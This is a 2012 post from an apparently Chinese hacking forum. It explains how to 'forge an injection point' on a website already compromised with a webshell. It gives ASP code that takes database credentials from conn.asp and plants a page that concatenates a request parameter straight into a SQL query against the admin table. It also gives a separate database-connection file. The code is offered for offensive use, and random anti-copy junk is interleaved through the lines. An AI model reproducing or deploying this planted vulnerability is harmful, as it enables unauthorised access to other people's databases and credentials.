找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1893|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:( K' `( U. Z2 f3 G5 j! T: c
ASP/Visual Basic代码4 q" w" y. K: J' p% K
<!--#include file="xx.asp"-->    " r9 U0 j4 w, X3 ^4 h
<%   
8 g0 ^" ?  i/ W: }  P( [" K; f/ Hset rs=server.createobject("ADODB.recordset")    2 ~2 U  X4 e# a
id = request("id")    ' C" d# D$ r/ ~4 [
strSQL = "select * from admin where id=" & id   
$ y' l+ \  ~) s* q1 brs.open strSQL,conn,1,3   
2 U/ n; K, G" z3 e1 [! Z2 m* lrs.close   
, {5 z9 d, Y: v$ P5 L, Y0 o%>  
+ I: E* q6 P) ?3 a, h( B把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
. X2 H# n! g: i4 [然后就要构造一个连接数据库的文件了,代码如下:& `0 S, {8 g( f. U. T5 w5 ^
ASP/Visual Basic代码% ?( `; I+ P# c
<%            
  d6 _* Q- h4 F% s. Y1 BstrSQLServerName = "000.000.000.000"     '服务器名称或地址   
/ p5 M5 a( M& SstrSQLDBUserName = "sqlname"         '数据库帐号   
; H( r' o  ]  RstrSQLDBPassword = "sqlpass"         '数据库密码    7 |/ Z4 Y2 M3 _6 `; t0 B$ a
strSQLDBName = "sqldataname"           '数据库名称    # m9 {  n. t7 q( Z7 |2 j/ u
Set conn = Server.CreateObject("ADODB.Connection")    ( V7 W9 p: ~8 x& r9 {5 b! [
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
* [& ]7 }" T% B3 U' K% Wconn.open strCon    5 x2 e: _1 v, X% Q
%>  : s4 k2 n. D, g% b( P0 p' q5 S' ?
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
3 W: b4 d% E. T" u1 ^; y9 t- f* d) i; M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表